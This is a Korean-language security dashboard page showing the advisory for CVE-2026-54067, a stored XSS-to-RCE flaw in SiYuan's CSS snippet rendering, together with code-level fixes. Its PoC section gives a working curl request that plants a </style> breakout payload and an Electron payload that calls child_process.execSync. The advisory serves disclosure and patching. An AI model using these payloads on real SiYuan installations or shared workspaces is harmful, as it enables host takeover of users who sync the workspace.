Kestrel
대시보드로 돌아가기
CVE-2026-54067CRITICAL· 9.9MITRENVDGHSA대응게시일: 2026. 06. 24.수정일: 2026. 07. 10.

SiYuan: Stored XSS to RCE via CSS-snippet <style> breakout in renderSnippet()

XSS

위협 신호 · CVSS · EPSS · KEV

시급 검토· 이론 심각도 Critical
CVSS
9.9critical

이론적 심각도 점수

EPSS
0.3%상위 77.0%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

완전 장악외부 노출· KEV 미등재 · 자동화 어려움 · 완전 장악 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위변경
영향
기밀성 영향높음
무결성 영향높음
가용성 영향높음
버전별 점수
CVSS 3.19.9CRITICAL
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

상세 설명

Summary

A CSS snippet body containing </style> breaks out of its surrounding <style> tag when renderSnippet() interpolates it via insertAdjacentHTML. A payload like </style><img src=x onerror="..."> runs arbitrary JavaScript in the renderer. On Electron desktop builds the renderer runs with nodeIntegration:true, so require('child_process') is reachable from the injected handler and the XSS chains to host RCE. Snippets sync via the workspace repository, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that pulls.

The bug also bypasses the user's enabledCSS / enabledJS separation. A user who turned enabledJS off was making a deliberate call not to run untrusted JavaScript; the CSS path runs it anyway.

Details

Affected:

  • HEAD 96dfe0b (v3.6.5, 2026-04-21)
  • Sink: app/src/config/util/snippets.ts:32
  • Source: /api/snippet/getSnippet, backed by data/snippets/conf.json
  • Default config: EnabledCSS: true, EnabledJS: true at kernel/conf/snippet.go:26-27
  • Electron config: nodeIntegration:true, contextIsolation:false, webSecurity:false on every BrowserWindow in app/electron/main.js:307,408-411,1107-1110,1150-1153,1322

The write path stores raw content. kernel/api/snippet.go:107-130 copies Content from the request straight into the snippet record with no HTML escape, no </style> check, no type-specific validation:

text
1snippet := &conf.Snippet{
2 ID: m["id"].(string),
3 Name: m["name"].(string),
4 Type: m["type"].(string),
5 Content: m["content"].(string),
6 Enabled: m["enabled"].(bool),
7}

Storage is workspace-internal and syncs. kernel/model/repository.go:1748,1798 reference data/snippets/conf.json, so the malicious record propagates to every sync peer.

The renderer reads the snippet back through /api/snippet/getSnippet and interpolates it into a <style> tag, raw. app/src/config/util/snippets.ts:32, called on app boot and on the reloadSnippet WebSocket event:

text
1fetchPost("/api/snippet/getSnippet", {type: "all", enabled: 2}, (response) => {
2 response.data.snippets.forEach((item: ISnippet) => {
3 const id = `snippet${item.type === "css" ? "CSS" : "JS"}${item.id}`;
4 if (item.type === "css") {
5 document.head.insertAdjacentHTML("beforeend", `<style id="${id}">${item.content}</style>`);
6 } else if (item.type === "js") {
7 // intentional script-loading path
8 }
9 });
10});

${item.content} lands inside the <style> tag. The HTML parser closes the style on the first </style> substring and treats anything after as a sibling of the empty <style> element.

Worth noting: the JS branch right after the CSS one already does the safe thing. It uses document.createElement("script") and sets el.text = item.content. That's a text-node assignment, no HTML parsing. The CSS branch just doesn't use the equivalent on a <style> element, and that's the bug.

Suggested fix

The cleanest fix mirrors what the JS branch already does. Build the element with createElement and set textContent:

text
1if (item.type === "css") {
2 const el = document.createElement("style");
3 el.id = id;
4 el.textContent = item.content;
5 document.head.appendChild(el);
6}

textContent on a <style> element populates the CSS rules without invoking the HTML parser, so </style> in the body is a 4-character text node instead of a close tag.

If touching that line is undesirable, the smaller patch is to escape < before interpolation:

text
1const safe = item.content.replace(/[&<]/g, c => c === "&" ? "&amp;" : "&lt;");
2document.head.insertAdjacentHTML("beforeend", `<style id="${id}">${safe}</style>`);

Either fix on its own closes the bug. Worth also rejecting </style> on the setSnippet backend handler so older renderers pulling the same synced workspace stay safe.

PoC

Stand up SiYuan:

text
1docker run -d --name siyuan-poc \
2 -v ./workspace:/siyuan/workspace \
3 -p 16806:6806 \
4 b3log/siyuan:latest \
5 --workspace=/siyuan/workspace --accessAuthCode=hunter2

Plant the snippet:

bash
1TOKEN=$(jq -r '.api.token' workspace/conf/conf.json)
2
3curl -X POST http://localhost:16806/api/snippet/setSnippet \
4 -H "Content-Type: application/json" \
5 -H "Authorization: Token $TOKEN" \
6 -d '{"snippets":[{"id":"","name":"poc","type":"css","enabled":true,"content":"</style><img src=x onerror=\"document.title=\\\"SIYUAN_XSS\\\";window.__siyuan_xss=true\">"}]}'

Returns {"code":0,"msg":"","data":null}. The snippet now sits at workspace/data/snippets/conf.json verbatim.

Open http://localhost:16806/stage/build/desktop/?r=1 or the Electron app pointing at the same workspace, authenticate, and run in DevTools:

text
1({
2 markerFired: window.__siyuan_xss === true,
3 styleCount: document.querySelectorAll('style[id^="snippetCSS"]').length,
4 imgsInHead: document.head.querySelectorAll('img').length,
5 snippetStyleEmpty: document.querySelector('style[id^="snippetCSS"]')?.textContent.length === 0
6})

Result from my run on 2026-05-19 against b3log/siyuan:latest:

text
1{
2 "markerFired": true,
3 "styleCount": 1,
4 "imgsInHead": 1,
5 "snippetStyleEmpty": true
6}

document.title is SIYUAN_XSS. The <style> exists but closed empty on the first </style>. The smuggled <img> is a sibling in <head>. The injected onerror ran arbitrary JS.

To turn it into RCE on Electron, swap the marker payload for:

xss
1<img src=x onerror="require('child_process').execSync('open /Applications/Calculator.app')">

require is reachable from the renderer because of nodeIntegration:true in app/electron/main.js:408.

Impact

Stored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.

The payload fires whenever the renderer refreshes snippets: on boot, on manual reload, or on a reloadSnippet WebSocket push. No user click required beyond having the app open.

Anyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call /api/snippet/setSnippet. Once the malicious snippet is in the workspace, every peer that syncs and has enabledCSS:true runs the payload.

The bug also silently bypasses the user's snippet-toggle intent. Someone who turned enabledJS off and left enabledCSS on was making a deliberate decision not to run untrusted JavaScript. The CSS path runs it anyway.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.